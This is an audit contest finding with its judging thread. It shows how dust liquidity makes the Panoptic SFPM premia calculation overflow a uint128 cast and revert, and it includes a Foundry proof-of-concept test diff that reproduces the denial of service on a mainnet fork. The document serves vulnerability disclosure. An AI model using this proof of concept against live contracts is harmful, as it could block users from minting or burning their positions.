premia calculation can cause DOS

[c4-bot-1]

Lines of code

https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L1280-L1285

Vulnerability details

Impact

1. Attacker can cause DOS for certain addresses
2. Normal operations can lead to self DOS

Proof of Concept

Whenever minting/burning, if the netLiquidity and amountToCollect are non-zero, the premia calculation is invoked
https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L1217

    function _collectAndWritePositionData(
        uint256 liquidityChunk,
        IUniswapV3Pool univ3pool,
        uint256 currentLiquidity,
        bytes32 positionKey,
        int256 movedInLeg,
        uint256 isLong
    ) internal returns (int256 collectedOut) {

        .........

        if (amountToCollect != 0) {
           
            ..........

            _updateStoredPremia(positionKey, currentLiquidity, collectedOut);
        }

In case the removedLiquidity is high and the netLiquidity is extremely low, the calculation in _getPremiaDeltas will revert since the calculated amount cannot be casted to uint128
https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L1280-L1285

    function _getPremiaDeltas(
        uint256 currentLiquidity,
        int256 collectedAmounts
    ) private pure returns (uint256 deltaPremiumOwed, uint256 deltaPremiumGross) {
        
        uint256 removedLiquidity = currentLiquidity.leftSlot();
        uint256 netLiquidity = currentLiquidity.rightSlot();

            uint256 totalLiquidity = netLiquidity + removedLiquidity;

            .........

                premium0X64_base = Math
=>                  .mulDiv(collected0, totalLiquidity * 2 ** 64, netLiquidity ** 2)
                    .toUint128();

This can be affected in the following ways:

1. For protocols built of top of SFPM, an attacker can long amounts such that a dust amount of liquidity is left. Following this when fees get accrued in the position, the amount to collect will become non-zero and will cause the mints to revert.
2. Under normal operations, longs/burns of the entire token amount in pieces (ie. if short was of posSize 200 and 2 longs of 100 are made) can also cause dust since liquidity amount will be rounded down in each calculation
3. An attacker can create such a position himself and transfer this position to another address following which the transferred address will not be able to mint any tokens in that position

Example Scenarios

1. Attacker making :
   For PEPE/ETH attacker opens a short with 100_000_000e18 PEPE. This gives > 2 ** 71 liquidity and is worth around 100$.
   Attacker mints long 100_000_000e18 - 1000 making netLiquidity equal to a very small amount and making removedLiquidity > 2 ** 71. Once enough fees is accrued, further mints on this position is disabled for this address.

2. Dust accrual due to round down :

Liquidity position ranges:
tickLower = 199260
tickUpper = 199290

Short amount (== token amount):
amount0 = 219738690
liquidityMinted = 3110442974185905

Long amount 1 == amount0/2 = 109869345
Long amount 2 == amount0/2 = 109869345
Liquidity removed = 1555221487092952 * 2 = 3110442974185904

Dust = 1

When the feeDifference becomes non-zero (due to increased dust by similar operations / accrual of fees in the range), similar effect to earlier scenario will be observed

POC Code

Set fork_block_number = 18706858 and run forge test --mt testHash_PremiaRevertDueToLowNetHighLiquidity
For dust accrual POC run : forge test --mt testHash_DustLiquidityAmount

diff --git a/test/foundry/core/SemiFungiblePositionManager.t.sol b/test/foundry/core/SemiFungiblePositionManager.t.sol
index 5f09101..e9eef27 100644
--- a/test/foundry/core/SemiFungiblePositionManager.t.sol
+++ b/test/foundry/core/SemiFungiblePositionManager.t.sol
@@ -5,7 +5,7 @@ import "forge-std/Test.sol";
 import {stdMath} from "forge-std/StdMath.sol";
 import {Errors} from "@libraries/Errors.sol";
 import {Math} from "@libraries/Math.sol";
-import {PanopticMath} from "@libraries/PanopticMath.sol";
+import {PanopticMath,LiquidityChunk} from "@libraries/PanopticMath.sol";
 import {CallbackLib} from "@libraries/CallbackLib.sol";
 import {TokenId} from "@types/TokenId.sol";
 import {LeftRight} from "@types/LeftRight.sol";
@@ -55,7 +55,7 @@ contract SemiFungiblePositionManagerTest is PositionUtils {
     using LeftRight for uint256;
     using LeftRight for uint128;
     using LeftRight for int256;
-
+    using LiquidityChunk for uint256;
     /*//////////////////////////////////////////////////////////////
                            MAINNET CONTRACTS
     //////////////////////////////////////////////////////////////*/
@@ -79,6 +79,7 @@ contract SemiFungiblePositionManagerTest is PositionUtils {
         IUniswapV3Pool(0xCBCdF9626bC03E24f779434178A73a0B4bad62eD);
     IUniswapV3Pool constant USDC_WETH_30 =
         IUniswapV3Pool(0x8ad599c3A0ff1De082011EFDDc58f1908eb6e6D8);
+    IUniswapV3Pool constant PEPE_WETH_30 = IUniswapV3Pool(0x11950d141EcB863F01007AdD7D1A342041227b58);
     IUniswapV3Pool[3] public pools = [USDC_WETH_5, USDC_WETH_5, USDC_WETH_30];
 
     /*//////////////////////////////////////////////////////////////
@@ -189,7 +190,8 @@ contract SemiFungiblePositionManagerTest is PositionUtils {
     /// @notice Set up world state with data from a random pool off the list and fund+approve actors
     function _initWorld(uint256 seed) internal {
         // Pick a pool from the seed and cache initial state
-        _cacheWorldState(pools[bound(seed, 0, pools.length - 1)]);
+        // _cacheWorldState(pools[bound(seed, 0, pools.length - 1)]);
+        _cacheWorldState(PEPE_WETH_30);
 
         // Fund some of the the generic actor accounts
         vm.startPrank(Bob);
@@ -241,6 +243,93 @@ contract SemiFungiblePositionManagerTest is PositionUtils {
         sfpm = new SemiFungiblePositionManagerHarness(V3FACTORY);
     }
 
+    function testHash_PremiaRevertDueToLowNetHighLiquidity() public {
+        _initWorld(0);
+        vm.stopPrank();
+        sfpm.initializeAMMPool(token0, token1, fee);
+
+        deal(token0, address(this), type(uint128).max);
+        deal(token1, address(this), type(uint128).max);
+
+        IERC20Partial(token0).approve(address(sfpm), type(uint256).max);
+        IERC20Partial(token1).approve(address(sfpm), type(uint256).max);
+
+        int24 strike = ((currentTick / tickSpacing) * tickSpacing) + 3 * tickSpacing;
+        int24 width = 2;
+        int24 lowTick = strike - tickSpacing;
+        int24 highTick = strike + tickSpacing;
+    
+        uint256 shortTokenId = uint256(0).addUniv3pool(poolId).addLeg(0, 1, 0, 0, 0, 0, strike, width);
+
+        uint128 posSize = 100_000_000e18; // gives > 2**71 liquidity ~$100
+
+        sfpm.mintTokenizedPosition(shortTokenId, posSize, type(int24).min, type(int24).max);
+
+        uint256 accountLiq = sfpm.getAccountLiquidity(address(PEPE_WETH_30), address(this), 0, lowTick, highTick);
+        
+        assert(accountLiq.rightSlot() > 2 ** 71);
+        
+        // the added liquidity is removed leaving some dust behind
+        uint256 longTokenId = uint256(0).addUniv3pool(poolId).addLeg(0, 1, 0, 1, 0, 0, strike, width);
+        sfpm.mintTokenizedPosition(longTokenId, posSize / 2, type(int24).min, type(int24).max);
+        sfpm.mintTokenizedPosition(longTokenId, posSize / 2 , type(int24).min, type(int24).max);
+
+        // fees is accrued on the position
+        vm.startPrank(Swapper);
+        uint256 amountReceived = router.exactInputSingle(
+            ISwapRouter.ExactInputSingleParams(token1, token0, fee, Bob, block.timestamp, 100e18, 0, 0)
+        );
+        (, int24 tickAfterSwap,,,,,) = pool.slot0();
+        assert(tickAfterSwap > lowTick);
+        
+
+        router.exactInputSingle(
+            ISwapRouter.ExactInputSingleParams(token0, token1, fee, Bob, block.timestamp, amountReceived, 0, 0)
+        );
+        vm.stopPrank();
+
+        // further mints will revert due to amountToCollect being non-zero and premia calculation reverting
+        vm.expectRevert(Errors.CastingError.selector);
+        sfpm.mintTokenizedPosition(shortTokenId, posSize, type(int24).min, type(int24).max);
+    }
+
+    function testHash_DustLiquidityAmount() public {
+        int24 tickLower = 199260;
+        int24 tickUpper = 199290;
+
+        /*  
+            amount0 219738690
+            liquidity initial 3110442974185905
+            liquidity withdraw 3110442974185904
+        */
+        
+        uint amount0 = 219738690;
+
+        uint128 liquidityMinted = Math.getLiquidityForAmount0(
+                uint256(0).addTickLower(tickLower).addTickUpper(tickUpper),
+                amount0
+            );
+
+        // remove liquidity in pieces    
+        uint halfAmount = amount0/2;
+        uint remaining = amount0-halfAmount;
+
+        uint128 liquidityRemoval1 = Math.getLiquidityForAmount0(
+                uint256(0).addTickLower(tickLower).addTickUpper(tickUpper),
+                halfAmount
+            );
+        uint128 liquidityRemoval2 = Math.getLiquidityForAmount0(
+                uint256(0).addTickLower(tickLower).addTickUpper(tickUpper),
+                remaining
+            );
+    
+        assert(liquidityMinted - (liquidityRemoval1 + liquidityRemoval2) > 0);
+    }
+
+    function onERC1155Received(address, address, uint256 id, uint256, bytes memory) public returns (bytes4) {
+        return this.onERC1155Received.selector;
+    }
+

Tools Used

Manual review

Recommended Mitigation Steps

Modify the premia calculation or use uint256 for storing premia

Assessed type

DoS

[dyedm1]

For impact 1. this is a semi-dup of #211 (read comment there) and for the same reason a cap is expected to be followed for removed liquidity. For individual SFPM users removing their own liquidity with long positions is a bit silly, but users should be aware of the dangers of removing too much. Perhaps we should add a warning to make sure people understand this. The alternative is allowing the premium to overflow which can itself cause issues, but since we never expect it to overflow on cap-implementing protocols that overflow check may not be productive. Still, I would err toward lower impact on that since it is kind of a user error thing though that wouldn't really happen unless you did it on purpose.

Impact 2. is certainly a problem but it is pretty much a dup of #256 and in fact this specific facet is the only reason why I think 256 can be a High instead of a Med.

Not sure what the best way to handle this is but I think splitting this up into two issues and combining impact 2 with the duplicates might make the most sense. Ultimately they are talking about the same issues from different perspectives, so if we keep them separate we have a bunch of very similar issues (none of the 211-related ones except for this seem to be valid issues, but a lot of the valid issues are just various perspectives of 256)

[c4-sponsor]

dyedm1 (sponsor) confirmed

[Picodes]

1 would indeed follow the same reasoning as #211 so would be of Low severity.

However, indeed 2 is a real scenario of self-DoS due to a rounding error leading to an overflow in _getPremiaDeltas. I don't see why it'd be a dup of #256 though as #256 is about transfers and here it's more about someone facing an unexpected DoS when minting or burning

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes marked the issue as selected for report

[dyedm1]

However, indeed 2 is a real scenario of self-DoS due to a rounding error leading to an overflow in _getPremiaDeltas. I don't see why it'd be a dup of #256 though as #256 is about transfers and here it's more about someone facing an unexpected DoS when minting or burning

Yeah I see that. They're not actually overflowing the removedLiquidity so it doesn't involve any of the underlying issues in 256, it just happens to lead to similar impacts. That's fine.

[osmanozdemir1]

@Picodes
Thanks for judging this contest.

I believe this issue deserves to be a medium rather than a high since it can only occur with a few tokens with billions of token supply, or it requires millions of dollars.

As the author of the submission says, it requires huge amount of transfers. The warden's example in this case is 100_000_000e18 Pepe token.

This issue would never occur with USDC or Ethereum, or most of the other regular tokens that will be used in this protocol. It can theoretically occur with 18 decimal stable coins but requires tens of millions of dollars in a single position by a single user.

Therefore, I think this is a medium severity issue with external requirements.

I would be grateful if you could reconsider the severity of this issue.
Kind regards.

[c4-judge]

Picodes changed the severity to 2 (Med Risk)

[Picodes]

@osmanozdemir1 thanks for your comment. After consideration, I agree with you on this one. As this is more a DoS, requires external conditions and isn't triggered by an attacker, medium severity seems justified.